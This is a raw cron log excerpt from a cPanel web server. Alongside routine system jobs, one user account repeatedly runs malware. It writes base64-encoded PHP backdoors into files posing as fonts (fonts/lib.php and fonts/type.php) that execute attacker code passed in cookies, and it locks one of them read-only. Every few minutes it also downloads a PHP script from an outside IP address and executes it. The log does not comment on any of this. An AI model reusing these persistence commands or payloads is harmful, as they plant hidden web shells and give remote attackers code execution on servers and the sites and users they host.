Sep  1 16:52:01 ip-184-168-122-23 CROND[24696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:52:01 ip-184-168-122-23 CROND[24698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:52:01 ip-184-168-122-23 CROND[24697]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:53:01 ip-184-168-122-23 CROND[24808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:53:01 ip-184-168-122-23 CROND[24810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:53:01 ip-184-168-122-23 CROND[24811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:53:01 ip-184-168-122-23 CROND[24814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:54:01 ip-184-168-122-23 CROND[24978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:54:01 ip-184-168-122-23 CROND[24979]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:54:01 ip-184-168-122-23 CROND[24982]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:54:01 ip-184-168-122-23 CROND[24984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:54:01 ip-184-168-122-23 CROND[24985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:55:01 ip-184-168-122-23 CROND[25125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:55:01 ip-184-168-122-23 CROND[25128]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:55:01 ip-184-168-122-23 CROND[25127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:55:01 ip-184-168-122-23 CROND[25130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:55:01 ip-184-168-122-23 CROND[25129]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 16:55:01 ip-184-168-122-23 CROND[25131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:56:01 ip-184-168-122-23 CROND[25294]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:56:01 ip-184-168-122-23 CROND[25296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:56:01 ip-184-168-122-23 CROND[25297]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:56:01 ip-184-168-122-23 CROND[25298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:56:01 ip-184-168-122-23 CROND[25299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:57:01 ip-184-168-122-23 CROND[25636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:57:01 ip-184-168-122-23 CROND[25638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:57:01 ip-184-168-122-23 CROND[25639]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:57:01 ip-184-168-122-23 CROND[25640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:58:01 ip-184-168-122-23 CROND[25719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:58:01 ip-184-168-122-23 CROND[25720]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:58:01 ip-184-168-122-23 CROND[25721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:58:01 ip-184-168-122-23 CROND[25725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:58:01 ip-184-168-122-23 CROND[25723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:59:01 ip-184-168-122-23 CROND[25887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:59:01 ip-184-168-122-23 CROND[25888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:59:01 ip-184-168-122-23 CROND[25889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:59:01 ip-184-168-122-23 CROND[25890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:00:01 ip-184-168-122-23 CROND[26030]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:00:01 ip-184-168-122-23 CROND[26032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:00:01 ip-184-168-122-23 CROND[26033]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:00:01 ip-184-168-122-23 CROND[26036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:00:01 ip-184-168-122-23 CROND[26034]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 17:00:01 ip-184-168-122-23 CROND[26035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:00:01 ip-184-168-122-23 CROND[26037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:00:01 ip-184-168-122-23 CROND[26038]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 17:01:01 ip-184-168-122-23 CROND[26149]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 17:01:01 ip-184-168-122-23 CROND[26150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:01:01 ip-184-168-122-23 CROND[26152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[26149]: starting 0anacron
Sep  1 17:01:01 ip-184-168-122-23 CROND[26156]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 17:01:01 ip-184-168-122-23 CROND[26157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:01:01 ip-184-168-122-23 CROND[26161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[26170]: finished 0anacron
Sep  1 17:02:01 ip-184-168-122-23 CROND[26250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:02:01 ip-184-168-122-23 CROND[26252]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:02:01 ip-184-168-122-23 CROND[26255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:02:01 ip-184-168-122-23 CROND[26254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:02:01 ip-184-168-122-23 CROND[26253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:03:01 ip-184-168-122-23 CROND[26341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:03:01 ip-184-168-122-23 CROND[26342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:03:01 ip-184-168-122-23 CROND[26343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:03:01 ip-184-168-122-23 CROND[26344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:04:01 ip-184-168-122-23 CROND[26458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:04:01 ip-184-168-122-23 CROND[26459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:04:01 ip-184-168-122-23 CROND[26462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
